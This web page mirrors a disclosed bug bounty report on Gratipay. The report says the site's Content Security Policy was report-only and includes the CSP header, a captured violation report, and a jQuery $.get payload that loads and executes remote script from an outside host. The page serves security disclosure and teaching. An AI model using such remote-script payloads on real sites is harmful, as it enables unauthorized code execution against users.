Skip to content
Business logic Disclosed report Intermediate

CSP Policy Bypass and javascript execution

The CSP was in report-only mode, so violations were not blocked. The author used jQuery's $.get to fetch remote content from a non-allowed origin without a CSP report being sent.

athuljayaram Follow

Originally disclosed on HackerOne

  • Disclosed after 1 hour

Content Security Policy (CSP) is a computer security standard introduced to prevent cross-site scripting (XSS), clickjacking and other code injection attacks resulting from execution of malicious content in the trusted web page context. CSP provides a standard method for website owners to declare approved origins of content that browsers should be allowed to load on that website — covered types are JavaScript, CSS, HTML frames, web workers, fonts, images, embeddable objects such as Java applets, ActiveX, audio and video files, and other HTML5 features.

Content-Security-Policy-Report-Only: default-src 'self';script-src 'self' assets.gratipay.com 'unsafe-inline';style-src 'self' assets.gratipay.com downloads.gratipay.com cloud.typography.com;img-src *;font-src 'self' assets.gratipay.com cloud.typography.com data:;block-all-mixed-content;report-uri https://gratipay.report-uri.io/r/default/csp/reportOnly;

in that their is also a report-uri which sends a report on CSP Violation as POST in case of CSP violation to https://gratipay.report-uri.io/r/default/csp/reportOnly;

I have a captured CSP post request in case of violation

PUT /r/default/csp/reportOnly HTTP/1.1 Host: gratipay.report-uri.io Connection: close Content-Length: 738 Origin: https://gratipay.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.24 Safari/537.36 Content-Type: application/csp-report Accept: / DNT: 1 Referer: https://gratipay.com/about/pricing Accept-Language: en-GB,en-US;q=0.8,en;q=0.6

{"csp-report":{"document-uri":"https://gratipay.com/about/pricing","referrer":"https://gratipay.com/about/","violated-directive":"connect-src","effective-directive":"connect-src","original-policy":"default-src 'self';script-src 'self' assets.gratipay.com 'unsafe-inline';style-src 'self' assets.gratipay.com downloads.gratipay.com cloud.typography.com;img-src *;font-src 'self' assets.gratipay.com cloud.typography.com data:;block-all-mixed-content;report-uri https://gratipay.report-uri.io/r/default/csp/reportOnly;","disposition":"report","blocked-uri":"https://sakurity.com/","line-number":8,"column-number":26577,"source-file":"https://assets.gratipay.com/vendors.js?etag=rTtsoO9IGH-cTRpSMarMHQ~~","status-code":0,"script-sample":""}}

I like to use $.get('https://sakurity.com/jqueryxss'); as input to show the CSP policy bypass

by using $.get('https://sakurity.com/jqueryxss'); I was able to bypass allowed CSP policy though https://sakurity.com is not allowed an approved origin of content, still I am able to fetch it and it didn't issue a POST request (report-uri attribute of CSP) which sends a report in case of any CSP violation ,

So using $.get request it didn't send a CSP report it read the remote content and executed the javascript

SOLUTION Update your javascript libraries mainly jquery elements to the latest version

Attachments

gratipay_com.png
gratipay_com.png From the original on HackerOne

The original report as published on HackerOne, by athuljayaram. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the CSP was deployed in report-only mode (Content-Security-Policy-Report-Only) instead of enforcement mode, so violations were not blocked.

Impact

The author could fetch remote content from a non-allowed origin without a CSP violation report being sent, because the policy was report-only.

What the attacker needed

CSP in report-only mode; jQuery library present

The fix

Update the JavaScript libraries, especially jQuery, to the latest version.

How it was found

  1. Identify that the site uses a report-only CSP header.
  2. Use jQuery's $.get to fetch a script from an untrusted domain.
  3. Observe that no CSP violation report is sent for the $.get request.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More from Gratipay

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.